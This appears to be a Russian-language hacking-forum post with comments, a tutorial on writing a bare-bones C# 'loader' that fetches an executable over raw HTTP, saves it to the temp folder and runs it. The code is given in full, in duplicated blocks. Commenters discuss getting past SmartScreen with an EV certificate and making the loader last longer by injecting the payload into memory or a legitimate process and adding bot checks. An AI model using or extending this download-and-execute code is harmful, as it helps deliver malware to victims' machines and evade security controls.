приветствую читателей данной статьи сегодня мы напишем простенький HTTP лоадер на C# без дотнетовского WebClient проще говоря будем делать костыли сразу скажу он не поддерживает HTTPS итак, для начала набросаем переменных в код: string url = "example.com"; string filePath = Path.Combine(Path.GetTempPath(), "program.exe"); CSHARP string url = "example.com"; string filePath = Path.Combine(Path.GetTempPath(), "program.exe"); думаю объяснять для чего они не нужно далее мы пишем код который создает TCP-клиент и отправляет HTTP запрос на URL example.com/7z.exe и записывает ответ от сервера без HTTP-заголовка в %TEMP%\program.exe (название файла можно поменять в переменных которые мы создали выше) using (TcpClient client = new TcpClient(url, 80)) using (NetworkStream networkStream = client.GetStream()) { string request = "GET /7z.exe HTTP/1.1\r\n" + $"Host: {url}\r\n" + "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\r\n" + "Connection: close\r\n\r\n"; byte[] requestBytes = Encoding.UTF8.GetBytes(request); networkStream.Write(requestBytes, 0, requestBytes.Length); using (FileStream fileStream = new FileStream(filePath, FileMode.Create, FileAccess.Write)) { byte[] buffer = new byte[8192]; int bytesRead; bool headersProcessed = false; while ((bytesRead = networkStream.Read(buffer, 0, buffer.Length)) > 0) { if (!headersProcessed) { string responseHeaders = Encoding.UTF8.GetString(buffer, 0, bytesRead); int headerEndIndex = responseHeaders.IndexOf("\r\n\r\n"); if (headerEndIndex >= 0) { headersProcessed = true; int bodyStartIndex = headerEndIndex + 4; fileStream.Write(buffer, bodyStartIndex, bytesRead - bodyStartIndex); } } else { fileStream.Write(buffer, 0, bytesRead); } } } } CSHARP using (TcpClient client = new TcpClient(url, 80)) using (NetworkStream networkStream = client.GetStream()) { string request = "GET /7z.exe HTTP/1.1\r\n" + $"Host: {url}\r\n" + "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\r\n" + "Connection: close\r\n\r\n"; byte[] requestBytes = Encoding.UTF8.GetBytes(request); networkStream.Write(requestBytes, 0, requestBytes.Length); using (FileStream fileStream = new FileStream(filePath, FileMode.Create, FileAccess.Write)) { byte[] buffer = new byte[8192]; int bytesRead; bool headersProcessed = false; while ((bytesRead = networkStream.Read(buffer, 0, buffer.Length)) > 0) { if (!headersProcessed) { string responseHeaders = Encoding.UTF8.GetString(buffer, 0, bytesRead); int headerEndIndex = responseHeaders.IndexOf("\r\n\r\n"); if (headerEndIndex >= 0) { headersProcessed = true; int bodyStartIndex = headerEndIndex + 4; fileStream.Write(buffer, bodyStartIndex, bytesRead - bodyStartIndex); } } else { fileStream.Write(buffer, 0, bytesRead); } } } } следовательно если у вас файл расположен где-нибудь на http://example.com/files/hosting/odfjoqiwfjwqof40.exe вы вместо "/7z.exe" вставляете "/files/hosting/odfjoqiwfjwqof40.exe" далее пишем код для запуска процесса: System.Diagnostics.Process.Start(filePath); CSHARP System.Diagnostics.Process.Start(filePath); вот и все, наш чудо-лоадер готов
Да, smartscreen назывыется, лоадер надо подписывать EV сертификатом что бы его не было, других вариантов его обойти нет.
Криминальный, я статью пишу не для болванов которые на все готовое пришли, я дал новичкам реализацию как можно без нетовского webclient'а скачать файл
Такой лоадер в бою через 3 часа погаснет, вот если бы он записывал пейлоад в память/другой легитимный процесс а не кидал в темп и была минимальная какая-то проверка на ботов было бы годно. Если под белый софт то впринципе пойдёт.
Криминальный, кому надо записывать файл в память - тот разберётся как это сделать я же как и писал в комменте выше "дал новичкам реализацию как можно без нетовского webclient'а скачать файл"
что делать если в строке: using (TcpClient client = new TcpClient(url, 80)) выдает ошибку System.Net.Sockets.SocketException: "Этот хост неизвестен."